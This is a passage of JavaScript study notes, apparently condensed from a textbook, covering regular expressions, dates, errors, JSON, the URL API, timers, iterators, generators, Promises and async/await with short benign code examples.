-`"Testing<br/>1,2,3".split(htmlTag)`
-
-\["Testing", "br/","1,2,3"\]
-
-### The RegExp Class
-
-The `RegExp()` constructor is useful when a regular expression is being dynamically created and thus cannot be represented with the regular expression literal syntax.
-
-    let zipcode = new RegExp("\\d{5}", "g");
-
-`let exactMatch = /JavaScript/;`  
- `let caseInsensitive = new RegExp(exactMatch, "i");`
-
-### TEST()
-
-Returns true or false by calling `exec()`.
-
-### EXEC()
-
-    let pattern = /Java/g;
-
-    let text = "JavaScript > Java";
-
-    let match;
-
-    while((match = pattern.exec(text)) !== null) {
-
-    console.log(`Matched ${match[0]} at ${match.index}`);
-
-    console.log(`Next search begins at ${pattern.lastIndex}`);
-
-    }
-
-### THE LASTINDEX PROPERTY AND REGEXP REUSE
-
-The use of the `lastIndex` property with the g and y flags is a particularly awkward part of this API. When you use these flags, you need to be particularly careful when calling the `match(), exec()`, or `test()` methods because the behavior of these methods depends on `lastIndex`, and the value of `lastIndex` depends on what you have previously done with the RegExp object.
-
-To find the index of all &lt;p&gt; tags within a string of HTML text:
-
-    let match, positions = [];
-
-    while((match = /<p>/g.exec(html)) !== null) {
-
-    positions.push(match.index);
-
-    }
-
-If the html string contains at least one &lt;p&gt; tag, then it will loop forever. For each iteration of the loop, we're creating a new RegExp object with `lastIndex` set to 0, so `exec()` always begins at the start of the string, and if there is a match, it will keep matching over and over. The solution, of course, is to define the RegExp once, and save it to a variable so that we're using the same RegExp object for each iteration of the loop.
-
-On the other hand, sometimes reusing a RegExp object is the wrong thing to do. Suppose, for example, that we want to loop through all of the words in a dictionary to find words that contain pairs of double letters.
-
-    let dictionary = [ "apple", "book", "coffee" ];
-
-    let doubleLetterWords = [];
-
-    let doubleLetter = /(\w)\1/g;
-
-    for(let word of dictionary) {
-
-    if (doubleLetter.test(word)) {
-
-    doubleLetterWords.push(word);
-
-    }
-
-    }
-
-`doubleLetterWords`
-
-\["apple", "coffee"\]: "book" is missing!
-
-Because we set the g flag on the RegExp, the `lastIndex` property is changed after successful matches, and the `test()` method (which is based on `exec()`) starts searching for a match at the position specified by `lastIndex`. After matching the "pp" in "apple", `lastIndex` is 3, and so we start searching the word "book" at position 3 and do not see the "oo" that it contains.
-
-### Dates and Times
-
-    let now = new Date();
-
-The current time
-
-    let epoch = new Date(0);
-
-Midnight, January 1st, 1970, GMT
-
-    let century = new Date(2100,
-
-    0,
-
-    1,
-
-    2, 3, 4, 5);
-
-Year 2100
-
-January
-
-1st
-
-02:03:04.005, local
-
-    let century = new Date(Date.UTC(2100, 0, 1));
-
-Midnight in GMT, January 1, 2100
-
-If you print a date (with console.log(century), for example), it will, by default, be printed in your local time zone. If you want to display a date in UTC, you should explicitly convert it to a string with `toUTCString()` or` toISOString()`.
-
-if you pass a string to the Date() constructor, it will attempt to parse that string as a date and time specification
-
-`let century = new Date("2100-01-01T00:00:00Z");`
-
-Once you have a Date object, various get and set methods allow you to query and modify the year, month, day-of-month, hour, minute, second, and millisecond fields of the Date. Each of these methods hastwo forms: one that gets or sets using local time and one that gets or sets using UTC time.
-
-Note that the methods for querying the day-of-month are `getDate()` and `getUTCDate()`. The more natural-sounding functions `getDay()` and `getUTCDay()` return the day-of-week (0 for Sunday through 6 for Saturday). The day-of-week is read-only, so there is not a corresponding `setDay()` method.
-
-### Timestamps
-
-JavaScript represents dates internally as integers that specify the number of milliseconds since (or before) midnight on January 1, 1970, UTC time.
-
-For any Date object, the `getTime()` method returns this internal value, and the `setTime()` method sets it.
-
-    d.setTime(d.getTime() + 30000);
-
-add 30 secs
-
-The static Date.now() method returns the current time as a timestamp and is helpful when you want to measure how long your code takes to run
-
-    let startTime = Date.now();
-
-    reticulateSplines(); // Do some time-consuming operation
-
-    let endTime = Date.now();
-
-    console.log(`Spline reticulation took ${endTime -startTime}ms.`);
-
-adds three months and two weeks to the current date:
-
-`let d = new Date();`  
- `d.setMonth(d.getMonth() + 3, d.getDate() + 14);`
-
-### Formatting and Parsing Date Strings
-
-    let d = new Date(2020, 0, 1, 17, 10, 30);
-
-    d.toString()
-
-"Wed Jan 01 2020 17:10:30 GMT-0800 (Pacific Standard Time)"
-
-    d.toUTCString()
-
-"Thu, 02 Jan 2020 01:10:30 GMT"
-
-    d.toLocaleDateString()
-
-"1/1/2020": ‘en-US' locale
-
-    d.toLocaleTimeString()
-
-"5:10:30 PM": ‘en-US' locale
-
-    d.toISOString()
-
-"2020-01-02T01:10:30.000Z"
-
-there is also a static Date.parse() method that takes a string as its argument, attempts to parse it as a date and time, and returns a timestamp representing that date. `Date.parse()` is able to parse the same strings that the `Date()` constructor can and is guaranteed to be able to parse the output of` toISOString(), toUTCString()`, and` toString()`.
-
-### Error Classes
-
-One good reason to use an Error object is that, when you create an Error, it captures the state of the JavaScript stack, and if the exception is uncaught, the stack trace will be displayed with the error message, which will help you debug the issue.
-
-Error objects have two properties: `message` and `name`, and a` toString()` method. Node and all modern browsers also define a `stack` property on Error objects.
-
-Subclasses are `EvalError, RangeError, ReferenceError, SyntaxError, TypeError,` and `URIError`.
-
-You should feel free to define your own Error subclasses that best encapsulate the error conditions of your own program.
-
-    class HTTPError extends Error {
-
-    constructor(status, statusText, url) {
-
-    super(`${status} ${statusText}: ${url}`);
-
-    this.status = status;
-
-    this.statusText = statusText;
-
-    this.url = url;
-
-    }
-
-    get name() { return "HTTPError"; }
-
-    }
-
-    let error = new HTTPError(404, "Not Found", "http://example.com/");
-
-    error.status
-
-404
-
-    error.message
-
-"404 Not Found:<a href="http://example.com/" class="markup--anchor markup--p-anchor">http://example.com/</a>"
-
-    error.name
-
-HTTPError
-
-### JSON Serialization and Parsing
-
-JavaScript supports JSON serialization and deserialization with the two functions `JSON.stringify()` and `JSON.parse().`
-
-    let o = {s: "", n: 0, a: [true, false, null]};
-
-    let s = JSON.stringify(o);
-
-s == ‘{"s":"","n":0,"a":\[true,false,null\]}'
-
-    let copy = JSON.parse(s);
-
-copy == {s: "", n: 0, a:\[true, false, null\]}
-
-Inefficient way of creating a deep copy of an object
-
-    function deepcopy(o) {
-
-    return JSON.parse(JSON.stringify(o));
-
-    }
-
-Typically, you pass only a single argument to `JSON.stringify()` and `JSON.parse()`. Both functions accept an optional second argument that allows us to extend the JSON format.
-
-`JSON.stringify()` also takes an optional third argument. If you would like your JSONformatted string to be human-readable (if it is being used as a configuration file, for example), then you should pass null as the second argument and pass a number or string as the third argument. If the third argument is a number, then it will use that number of spaces for each indentation level. If the third argument is a string of whitespace (such as '\\t'), it will use that string for each level of indent.
-
-### JSON Customizations
-
-If `JSON.stringify()` is asked to serialize a value that is not natively supported by the JSON format, it looks to see if that value has a `toJSON()` method, and if so, it calls that method and then stringifies the return value in place of the original value. Date objects implement `toJSON()`: it returns the same string that `toISOString()` method does.
-
-If you need to re-create Date objects (or modify the parsed object inany other way), you can pass a "reviver" function as the second argument to `JSON.parse()`.
-
-    let data = JSON.parse(text, function(key, value) {
-
-    if (key[0] === "_") return undefined;
-
-    if (typeof value === "string" && /^\d\d\d\d-\d\d-\d\dT\d\d:\d\d:\d\d.\d\d\dZ$/.test(value)) {
-
-    return new Date(value);
-
-    }
-
-    return value;
-
-    });
-
-### The Console API
-
-Console functions that print their arguments like console.log() have a little-known feature: if the first argument is a string that includes `%s, %i, %d, %f, %o, %O, or %c`, then this first argument is treated as format string, and the values of subsequent arguments are substituted into the string in place of the two-character % sequences.
-
-### URL API
-
-    let url = new URL("https://example.com:8000/path/name?q=term#fragment");
-
-    url.href
-
-<a href="https://example.com:8000/path/name" class="markup--anchor markup--p-anchor">"https://example.com:8000/path/name</a>?q=term\#fragment"
-
-    url.origin
-
-<a href="https://example.com:8000/" class="markup--anchor markup--p-anchor">"https://example.com:8000</a>"
-
-    url.protocol
-
-"https:"
-
-    url.host
-
-<a href="http://example.com/" class="markup--anchor markup--p-anchor">"example.com</a>:8000"
-
-    url.hostname
-
-<a href="http://example.com/" class="markup--anchor markup--p-anchor">"example.com</a>"
-
-    url.port
-
-"8000"
-
-    url.pathname
-
-"/path/name"
-
-    url.search
-
-"?q=term"
-
-    url.hash
-
-"\#fragment"
-
-    let url = new URL("https://example.com");
-
-    url.pathname = "api/search";
-
-Add a path to an API endpoint
-
-    url.search = "q=test";
-
-Add a query parameter
-
-    url.toString()
-
-<a href="https://example.com/api/search?q=test" class="markup--anchor markup--p-anchor">"https://example.com/api/search?q=test</a>"
-
-One of the important features of the URL class is that it correctly adds punctuation and escapes special characters in URLs when that is needed
-
-    let url = new URL("https://example.com");
-
-    url.pathname = "path with spaces";
-
-    url.pathname
-
-"/path%20with%20spaces"
-
-    url.search = "q=foo#bar";
-
-    url.search
-
-"?q=foo%23bar"
-
-    url.href
-
-<a href="https://example.com/path%20with%20spaces?q=foo%23bar" class="markup--anchor markup--p-anchor">"https://example.com/path%20with%20spaces?q=foo%23bar</a>"
-
-Often, however, HTTP requests encode the values of multiple form fields or multiple API parameters into the query portion of a URL. In this format, the query portion of the URL is a question mark followed by one or more name/value pairs, which are separated from one another by ampersands.
-
-If you want to encode these kinds of name/value pairs into the query portion of a URL, then the searchParams property will be more useful than the search property.
-
-`let url = new URL("https://example.com/search");`
-
-`url.search`
-
-""
-
-`url.searchParams.append("q", "term");`
-
-`url.search`
-
-"?q=term"
-
-`url.searchParams.set("q", "x");`
-
-`url.search`
-
-"?q=x"
-
-`url.searchParams.append("opts", "1");`
-
-`url.search`
-
-"?q=x&opts=1"
-
-The value of the searchParams property is a URLSearchParams object.
-
-`let url = new URL("http://example.com");`
-
-`let params = new URLSearchParams();`
-
-`params.append("q", "term");`
-
-`params.append("opts", "exact");`
-
-`params.toString()`
-
-"q=term&opts=exact"
-
-`url.search = params;`
-
-`url.href`
-
-<a href="http://example.com/" class="markup--anchor markup--p-anchor">"http://example.com/</a>?q=term&opts=exact"
-
-### Timers
-
-`setTimeout()` and` setInterval()`—that allow programs to ask the browser to invoke a function after a specified amount of time has elapsed or to invoke the function repeatedly at a specified interval.
-
-    setTimeout(() => { console.log("Ready..."); }, 1000);
-
-    setTimeout(() => { console.log("set..."); }, 2000);
-
-    setTimeout(() => { console.log("go!"); }, 3000);
-
-If you want to invoke a function repeatedly, use `setInterval()`
-
-Both `setTimeout()` and `setInterval()` return a value. If you save this value in a variable, you can then use it later to cancel the execution of the function by passing it to `clearTimeout()` or `clearInterval()`.
-
-    let clock = setInterval(() => {
-
-    console.clear();
-
-    console.log(new Date().toLocaleTimeString());
-
-    }, 1000);
-
-    setTimeout(() => { clearInterval(clock); }, 10000);
-
-After 10 seconds: stop the repeating code above
-
-### Iterators and Generators
-
-The iterator method of an iterable object does not have a conventional name but uses the Symbol, Symbol.iterator as its name. So a simple for/of loop over an iterable object iterable could also be written the hard way, like this:
-
-    let iterable = [99];
-
-    let iterator = iterable[Symbol.iterator]();
-
-    for(let result = iterator.next(); !result.done; result =iterator.next()) {
-
-    console.log(result.value) // result.value == 99
-
-    }
-
-When you want to iterate though a "partially used" iterator:
-
-`let list = [1,2,3,4,5];`  
- `let iter = list[Symbol.iterator]();`
-
-`let head = iter.next().value;`
-
-head == 1
-
-`let tail = [...iter];`
-
-tail == \[2,3,4,5\]
-
-### Implementing Iterable Objects
-
-we will implement the Range class one more time, making it iterable without relying on a generator.
-
-In order to make a class iterable, you must implement a method whose name is the Symbol `Symbol.iterator`
-
-    class Range {
-
-    constructor (from, to) {
-
-    this.from = from;
-
-    this.to = to;
-
-    }
-
-    has(x) { return typeof x === "number" && this.from <= x && x <= this.to; }
-
-    toString() { return `{ x | ${this.from} ≤ x ≤ ${this.to}}`; }
-
-    [Symbol.iterator]() {
-
-    let next = Math.ceil(this.from);
-
-    let last = this.to;
-
-    return {
-
-    next() {
-
-    return (next <= last) ? { value: next++ } : { done: true };
-
-    },
-
-    [Symbol.iterator]() { return this; }
-
-    };
-
-    }
-
-    }
-
-    for(let x of new Range(1,10)) console.log(x);
-
-Logs numbers 1 to 10
-
-    [...new Range(-2,2)]
-
-\[-2, -1, 0,1, 2\]
-
-In addition to making your classes iterable, it can be quite useful to define functions that return iterable values.
-
-Return an iterable object that iterates the result of applying `f()` to each value from the source iterable
-
-    function map(iterable, f) {
-
-    let iterator = iterable[Symbol.iterator]();
-
-    return {
-
-    [Symbol.iterator]() { return this; },
-
-    next() {
-
-    let v = iterator.next();
-
-    if (v.done) {
-
-    return v;
-
-    }
-
-    else {
-
-    return { value: f(v.value) };
-
-    }
-
-    }
-
-    };
-
-    }
-
-`[...map(new Range(1,4), x => x*x)]`
-
-\[1, 4, 9, 16\]
-
-Return an iterable object that filters the specified iterable, iterating only those elements for which the predicate returns true
-
-    function filter(iterable, predicate) {
-
-    let iterator = iterable[Symbol.iterator]();
-
-    return {
-
-    [Symbol.iterator]() { return this; },
-
-    next() {
-
-    for(;;) {
-
-    let v = iterator.next();
-
-    if (v.done || predicate(v.value)) {
-
-    return v;
-
-    }
-
-    }
-
-    }
-
-    };
-
-    }
-
-`[...filter(new Range(1,10), x => x % 2 === 0)]`
-
-\[2,4,6,8,10\]
-
-### Generators
-
-Particularly useful when the values to be iterated are not the elements of a data structure, but the result of a computation.
-
-To create a generator, you must first define a generator function — defined with the keyword `function*` rather than `function`
-
-When you invoke a generator function, it does not actually execute the function body, but instead returns a generator object. This generator object is an iterator.
-
-Calling its `next()` method causes the body of the generator function to run from the start (or whatever its current position is) until it reaches a `yield` statement.
-
-The value of the `yield` statement becomes the value returned by the `next()` call on the iterator.
-
-    function* oneDigitPrimes() {
-
-    yield 2;
-
-    yield 3;
-
-    yield 5;
-
-    yield 7;
-
-    }
-
-    let primes = oneDigitPrimes();
-
-we get a generator
-
-    primes.next().value
-
-2
-
-    primes.next().value
-
-3
-
-    primes.next().value
-
-5
-
-    primes.next().value
-
-7
-
-    primes.next().done
-
-true
-
-Generators have a `Symbol.iterator` method to make them iterable
-
-`primes[Symbol.iterator]()`
-
-`[...oneDigitPrimes()]`
-
-\[2,3,5,7\]
-
-    let sum = 0;
-
-    for(let prime of oneDigitPrimes()) sum += prime;
-
-    sum
-
-17
-
-Like regular functions, however, we can also define generators in expression form.
-
-    const seq = function*(from,to) {
-
-    for(let i = from; i <= to; i++) yield i;
-
-    };
-
-    [...seq(3,5)]
-
-\[3, 4, 5\]
-
-In classes and object literals, we can use shorthand notation to omit the function keyword entirely when we define methods.
-
-    let o = {
-
-    x: 1, y: 2, z: 3,
-
-    *g() {
-
-    for(let key of Object.keys(this)) {
-
-    yield key;
-
-    }
-
-    }
-
-    };
-
-`[...o.g()]`
-
-\["x", "y", "z", "g"\]
-
-Generators often make it particularly easy to define iterable classes.
-
-    *[Symbol.iterator]() {
-
-    for(let x = Math.ceil(this.from); x <= this.to; x++)
-
-    yield x;
-
-    }
-
-### Generator Examples
-
-Generators are more interesting if they actually generate the values they yield by doing some kind of computation.
-
-generator function that yields Fibonacci numbers
-
-    function* fibonacciSequence() {
-
-    let x = 0, y = 1;
-
-    for(;;) {
-
-    yield y;
-
-    [x, y] = [y, x+y];
-
-    }
-
-    }
-
-If this generator is used with the … spread operator, it will loop until memory is exhausted and the program crashes.
-
-Use it in a `for/of` loop, however
-
-    function fibonacci(n) {
-
-    for(let f of fibonacciSequence()) {
-
-    if (n-- <= 0) return f;
-
-    }
-
-    }
-
-    fibonacci(20)
-
-10946
-
-This kind of infinite generator becomes more useful with a `take()` generator like this
-
-    function* take(n, iterable) {
-
-    let it = iterable[Symbol.iterator]();
-
-    while(n-- > 0) {
-
-    let next = it.next();
-
-    if (next.done) return;
-
-    else yield next.value;
-
-    }
-
-    }
-
-    [...take(5, fibonacciSequence())]
-
-\[1, 1, 2, 3, 5\]
-
-### Asynchronous Javascript
-
-`Promises`, new in ES6, are objects that represent the not-yet-available result of an asynchronous operation.
-
-The keywords `async` and `await` were introduced in ES2017 and provide new syntax that simplifies asynchronous programming by allowing you to structure your Promise based code as if it was synchronous.
-
-Asynchronous iterators and the` for/await` loop were introduced in ES2018 and allow you to work with streams of asynchronous events using simple loops that appear synchronous.
-
-### Asynchronous Programming with Callbacks
-
-### Timers
-
-`setTimeout(checkForUpdates, 60000);`
-
-    let updateIntervalId = setInterval(checkForUpdates, 60000);
-
-    function stopCheckingForUpdates() {
-
-    clearInterval(updateIntervalId);
-
-    }
-
-### Events
-
-Event-driven JavaScript programs register callback functions for specified types of events in specified contexts, and the web browser invokes those functions whenever the specified events occur.
-
-These callback functions are called event handlers or event listeners, and they are registered with `addEventListener()`
-
-Ask the web browser to return an object representing the HTML &lt;button&gt; element that matches this CSS selector:
-
-`let okay = document.querySelector('#confirmUpdateDialogbutton.okay');`
-
-Now register a callback function to be invoked when the user clicks on that button
-
-`okay.addEventListener('click', applyUpdate);`
-
-### Network Events
-
-JavaScript running in the browser can fetch data from a web server with code like this:
-
-    function getCurrentVersionNumber(versionCallback) {
-
-    let request = new XMLHttpRequest();
-
-    request.open("GET", "http://www.example.com/api/version");
-
-    request.send();
-
-    request.onload = function() {
-
-    if (request.status === 200) {
-
-    let currentVersion = parseFloat(request.responseText);
-
-    versionCallback(null, currentVersion);
-
-    }
-
-    else {
-
-    versionCallback(response.statusText, null);
-
-    }
-
-    };
-
-    request.onerror = request.ontimeout = function(e) {
-
-    versionCallback(e.type, null);
-
-    };
-
-    }
-
-### Promises
-
-Promises, a core language feature designed to simplify asynchronous programming.
-
-A Promise is an object that represents the result of an asynchronous computation. That result may or may not be ready yet, and the Promise API is intentionally vague about this: there is no way to synchronously get the value of a Promise; you can only ask the Promise to call a callback function when the value is ready.
-
-One real problem with callback-based asynchronous programming is that it is common to end up with callbacks inside callbacks inside callbacks, with lines of code so highly indented that it is difficult to read.
-
-Promises allow this kind of nested callback to be re-expressed as a more linear Promise chain that tends to be easier to read and easier to reason about.
-
-Another problem with callbacks is that they can make handling errors difficult. If an asynchronous function (or an asynchronously invoked callback) throws an exception, there is no way for that exception to propagate back to the initiator of the asynchronous operation. This is a fundamental fact about asynchronous programming: it breaks exception handling. Promises help here by standardizing a way to handle errors and providing a way for errors to propagate correctly through a chain of promises.
-
-Note that Promises represent the future results of single asynchronous computations. They cannot be used to represent repeated asynchronous computations, however.
-
-We can't use Promises to replace `setInterval()` because that function invokes a callback function repeatedly, which is something that Promises are just not designed to do.
-
-### Using Promises
-
-How we would use this Promise returning utility function
-
-    getJSON(url).then(jsonData => {
-
-    // callback function that will be asynchronously invoked with the parsed JSON value when it becomes available.
-
-    });
-
-The Promise object defines a then() instance method. Instead of passing our callback function directly to `getJSON()`, we instead pass it to the then() method. When the HTTP response arrives, the body of that response is parsed as JSON, and the resulting parsed value is passed to the function that we passed to `then()`.
-
-If you call the `then()` method of a Promise object multiple times, each of the functions you specify will be called when the promised computation is complete.
-
-Unlike many event listeners, though, a Promise represents a single computation, and each function registered with then() will be invoked only once.
-
-    function displayUserProfile(profile) { ...}
-
-    getJSON("/api/user/profile").then(displayUserProfile);
-
-### HANDLING ERRORS WITH PROMISES
-
-Asynchronous operations, particularly those that involve networking, can typically fail in a number of ways, and robust code has to be written to handle the errors that will inevitably occur.
-
-`getJSON("/api/user/profile").then(displayUserProfile, handleProfileError);`
-
-if `getJSON()` runs normally, it passes its result to `displayUserProfile()`. If there is an error (the user is not logged in, the server is down, the user's internet connection dropped, the request timed out, etc.), then `getJSON()` passes an Error object to `handleProfileError()`.
-
-In practice, it is rare to see two functions passed to then(). There is a better and more idiomatic way of handling errors when working with Promises.
-
-To understand it, first consider what happens if `getJSON()` completes normally but an error occurs in `displayUserProfile()`. That callback function is invoked asynchronously when `getJSON()` returns, so it is also asynchronous and cannot meaningfully throw an exception (because there is no code on the call stack to handle it).
-
-    getJSON("/api/user/profile").then(displayUserProfile).catch(handleProfileError);
-
-With this code, a normal result from` getJSON()` is still passed to `displayUserProfile()`, but any error in `getJSON()` or in `displayUserProfile()` (including any exceptions thrown by `displayUserProfile`) get passed to `handleProfileError()`.
-
-### Chaining Promises
-
-One of the most important benefits of Promises is that they provide a natural way to express a sequence of asynchronous operations as a linear chain of `then()` method invocations, without having to nest each operation within the callback of the previous one.
-
-    fetch(documentURL)
-
-    .then(response => response.json())
-
-    .then(document => {return render(document); })
-
-    .then(rendered => {cacheInDatabase(rendered); })
-
-    .catch(error => handle(error));
-
-has largely been replaced by the newer, Promise-based Fetch API. In its simplest form, this new HTTP API is just the function fetch(). That promise is fulfilled when the HTTP response begins to arrive and the HTTP status and headers are available.
-
-    fetch("/api/user/profile")
-
-    .then(response => {
-
-    if (response.ok &&  response.headers.get("Content-Type") === "application/json") {
-
-    // What can we do here? We don't actually have the response body yet.
-
-    }
-
-    });
-
-But although the initial Promise is fulfilled, the body of the response may not yet have arrived. So these `text()` and` json()` methods for accessing the body of the response themselves return Promises.
-
-    fetch("/api/user/profile")
-
-    .then(response => {
-
-    return response.json();
-
-    })
-
-    .then(profile => {
-
-    displayUserProfile(profile);
-
-    });
-
-There is a second `then()` in the chain, which means that the first invocation of the `then()` method must itself return a Promise. That is not how Promises work, however.
-
-When we write a chain of `.then()` invocations, we are not registering multiple callbacks on a single Promise object. Instead, each invocation of the `then()` method returns a new Promise object. That new Promise object is not fulfilled until the function passed to `then()` is complete.
-
-    fetch(theURL)       // task 1; returns promise 1
-
-    .then(callback1)  // task 2; returns promise 2
-
-    .then(callback2); // task 3; returns promise 3
-
-### Resolving Promises
-
-There is actually a fourth Promise object involved as which brings up the point of what it means for a Promise to be "resolved."
-
-fetch() returns a Promise object which, when fulfilled, passes a Response object to the callback function we register. This Response object has `.text(), .json(),` and other methods to request the body of the HTTP response in various forms. But since the body may not yet have arrived, these methods must return Promise objects.
-
-"task 2" calls the `.json()` method and returns its value. This is the fourth Promise object, and it is the return value of the `callback1()` function.
-
-Let's consider:
-
-    function c1(response) {
-
-    let p4 = response.json();
-
-    return p4;
-
-    }
-
-    // callback 1
-
-    // returns promise 4
-
-    function c2(profile) {
-
-    displayUserProfile(profile);
-
-    }
-
-    // callback 2
-
-    let p1 = fetch("/api/user/profile");
-
-    promise 1, task 1
-
-    let p2 = p1.then(c1);
-
-    promise 2, task 2
-
-    let p3 = p2.then(c2);
-
-    promise 3, task 3
-
-In order for Promise chains to work usefully, the output of task 2 must become the input to task 3. The input to task 3 is the body of the URL that was fetched, parsed as a JSON object. But the return value of callback c1 is not a JSON object, but Promise p4 for that JSON object.
-
-When p1 is fulfilled, c1 is invoked, and task 2 begins. And when p2 is fulfilled, c2 is invoked, and task 3 begins.
-
-And when p2 is fulfilled, c2 is invoked, and task 3 begins. But just because task 2 begins when c1 is invoked,it does not mean that task 2 must end when c1 returns.
-
-Promises are about managing asynchronous tasks, and if task 2 is asynchronous, then that task will not be complete by the time the callback returns.
-
-When you pass a callback c to the `then()` method, `then()` returns a Promise p and arranges to asynchronously invoke c at some later time. The callback performs some computation and returns a value v. When the callback returns, p is resolved with the value v. When a Promise is resolved with a value that is not itself a Promise, it is immediately fulfilled with that value.
-
-So if c returns a non-Promise, that return value becomes the value of p, p is fulfilled and we are done. But if the return value v is itself a Promise, then p is resolved but not yet fulfilled.
-
-At this stage, p cannot settle until the Promise v settles. If v is fulfilled, then p will be fulfilled to the same value. If v is rejected, then p will be rejected for the same reason. This is what the "resolved" state of a Promise means
-
-the Promise has become associated with, or "locked onto," another Promise. We don't know yet whether p will be fulfilled or rejected, but our callback c no longer has any control over that. p is "resolved" in the sense that its fate now depends entirely on what happens to Promise v.
-
-Let's bring this back to our URL-fetching example. When c1 returns p4, p2 is resolved. But being resolved is not the same as being fulfilled, so task 3 does not begin yet. When the full body of the HTTP response becomes available, then the .`json()` method can parse it and use that parsed value to fulfill p4. When p4 is fulfilled, p2 is automatically fulfilled as well, with the same parsed JSON value. At this point, the parsed JSON object is passed to c2, and task 3 begins.
-
-### More on Promises and Errors
-
-With synchronous code, if you leave out error-handling code, you'll at least get an exception and a stack trace that you can use to figure out what is going wrong. With asynchronous code, unhandled exceptions will often go unreported, and errors can occur silently, making them much harder to debug. The good news is that the `.catch()` method makes it easy to handle errors when working with Promises.
-
-THE CATCH AND FINALLY METHODS
-
-The `.catch()` method of a Promise is simply a shorthand way to call `.then()` with null as the first argument and an error-handling callback as the second argument.
-
-Normal exceptions don't work with asynchronous code. The `.catch()` method of Promises is an alternative that does work for asynchronous code.
-
-    fetch("/api/user/profile")
-
-    .then(response => {
-
-    if (!response.ok) {
-
-    return null;
-
-    }
-
-    let type = response.headers.get("content-type");
-
-    if (type !== "application/json") {
-
-    throw new TypeError(`Expected JSON, got ${type}`);
-
-    }
-
-    return response.json();
-
-    })
-
-    .then(profile => {
-
-    if (profile) {
-
-    displayUserProfile(profile);
-
-    }
-
-    else {
-
-    displayLoggedOutProfilePage();
-
-    }
-
-    })
-
-    .catch(e => {
-
-    if (e instanceof NetworkError) {
-
-    displayErrorMessage("Check your internet connection.");
-
-    }
-
-    else if (e instanceof TypeError) {
-
-    displayErrorMessage("Something is wrong with our server!");
-
-    }
-
-    else {
-
-    console.error(e);
-
-    }
-
-    });
-
-p1 is the Promise returned by the `fetch()` call
-
-p2 is the Promise returned by the first `.then()` call
-
-c1 is the callback that we pass to that .`then()` call
-
-p3 is the Promise returned by the second `.then()` call
-
-c2 is the callback we pass to that call
-
-c3 is the callback that we pass to the `.catch()` call
-
-The first thing that could fail is the fetch() request itself. Let's say p1 was rejected with a NetworkError object.
-
-We didn't pass an error-handling callback function as the second argument to the `.then()` call, so p2 rejects as well with the same NetworkError object.
-
-Without a handler, though, p2 is rejected, and then p3 is rejected for the same reason.
-
-At this point, the c3 error-handling callback is called, and the NetworkError-specific code within it runs.
-
-There are a couple of things worth noting about this code. First, notice that the error object thrown with a regular, synchronous throw statement ends up being handled asynchronously with a `.catch()` method invocation in a Promise chain. This should make it clear why this shorthand method is preferred over passing a second argument to .`then()`, and also why it is so idiomatic to end Promise chains with a `.catch()` call.
-
-it is also perfectly valid to use `.catch()` elsewhere in a Promise chain. If one of the stages in your Promise chain can fail with an error, and if the error is some kind of recoverable error that should not stop the rest of the chain from running, then you can insert a `.catch()` call in the chain, resulting in code that might look like this:
-
-    startAsyncOperation()
-
-    .then(doStageTwo)
-
-    .catch(recoverFromStageTwoError)
-
-    .then(doStageThree)
-
-    .then(doStageFour)
-
-    .catch(logStageThreeAndFourErrors);
-
-If the callback returns normally, then the `.catch()` callback will be skipped, and the return value of the previous callback will become the input to the next .`then()` callback.
-
-Once an error has been passed to a `.catch()` callback, it stops propagating down the Promise chain. A `.catch()` callback can throw a new error, but if it returns normally, than that return value is used to resolve and/or fulfill the associated Promise, and  
- the error stops propagating.
-
-Sometimes, in complex network environments, errors can occur more or less at random, and it can be appropriate to handle those errors by simply retrying the asynchronous request.
-
-    queryDatabase()
-
-    .catch(e => wait(500).then(queryDatabase))
-
-    .then(displayTable)
-
-    .catch(displayDatabaseError);
-
-### Promises in Parallel
-
-Sometimes,we want to execute a number of asynchronous operations in parallel. The function `Promise.all()` can do this. `Promise.all()` takes an array of Promise objects as its input and returns a Promise.
-
-The returned Promise will be rejected if any of the input Promises are rejected. Otherwise, it will be fulfilled with an array of the fulfillment values of each of the input Promises.
-
-    const urls = [ /* zero or more URLs here */ ];
-
-    promises = urls.map(url => fetch(url).then(r => r.text()));
-
-    Promise.all(promises)
-
-    .then(bodies => { /* do something with the array of strings */ })
-
-    .catch(e => console.error(e));
-
-The Promise returned by `Promise.all()` rejects when any of the input Promises is rejected. This happens immediately upon the first rejection and can happen while other input Promises are still pending. In ES2020, `Promise.allSettled()` takes an array of input  
- Promises and returns a Promise, just like Promise.all() does. But `Promise.allSettled()` never rejects the returned Promise, and it does not fulfill that Promise until all of the input Promises have settled. The Promise resolves to an array of objects, with one object for each input Promise. Each of these returned objects has a status property set to "fulfilled" or "rejected." If the status is "fulfilled", then the object will also have a value property that gives the fulfillment value. And if the status is "rejected", then the object will also have a reason property that gives the error or rejection value of the corresponding Promise.
-
-    Promise.allSettled([Promise.resolve(1), Promise.reject(2),3]).then(results => {
-
-    results[0] // => { status: "fulfilled", value: 1 }
-
-    results[1] // => { status: "rejected", reason: 2 }
-
-    results[2] // => { status: "fulfilled", value: 3 }
-
-    });
-
-Occasionally, you may want to run a number of Promises at once but may only care about the value of the first one to fulfill. In that case, you can use `Promise.race()` instead of `Promise.all()`. It returns a Promise that is fulfilled or rejected when the first of the Promises in the input array is fulfilled or rejected.
-
-### Making Promises
-
-### Promises in Sequence
-
-### async and await
-
-These new keywords dramatically simplify the use of Promises and allow us to write Promise-based, asynchronous code that looks like synchronous code that blocks while waiting for network responses or other asynchronous events.
-
-Asynchronous code can't return a value or throw an exception the way that regular synchronous code can. And this is why Promises are designed the way the are. The value of a fulfilled Promise is like the return value of a synchronous function. And the value of a rejected Promise is like a value thrown by a synchronous function.
-
-`async` and `await` take efficient, Promise-based code and hide the Promises so that your asynchronous code can be as easy to read and as easy to reason about as inefficient, blocking, synchronous code.
-
-Given a Promise object p, the expression await p waits until p settles. If p fulfills, then the value of await p is the fulfillment value of p. On the other hand, if p is rejected, then the await p expression throws the rejection value of p.
-
-    let response = await fetch("/api/user/profile");
-
-    let profile = await response.json();
-
-It is critical to understand right away that the `await` keyword does not cause your program to block and literally do nothing until the specified Promise settles. The code remains asynchronous, and the `await` simply disguises this fact. This means that any code that uses await is itself asynchronous.
-
-### async Functions
-
-Because any code that uses await is asynchronous, there is one critical rule: you can only use the await keyword within functions that have been declared with the `async` keyword.
-
-    async function getHighScore() {
-
-    let response = await fetch("/api/user/profile");
-
-    let profile = await response.json();
-
-    return profile.highScore;
-
-    }
-
-Declaring a function `async` means that the return value of the function will be a Promise even if no Promise-related code appears in the body of the function.
-
-The `getHighScore()` function is declared `async`, so it returns a Promise. And because it returns a Promise, we can use the `await` keyword with it:
-
-    displayHighScore(await getHighScore());
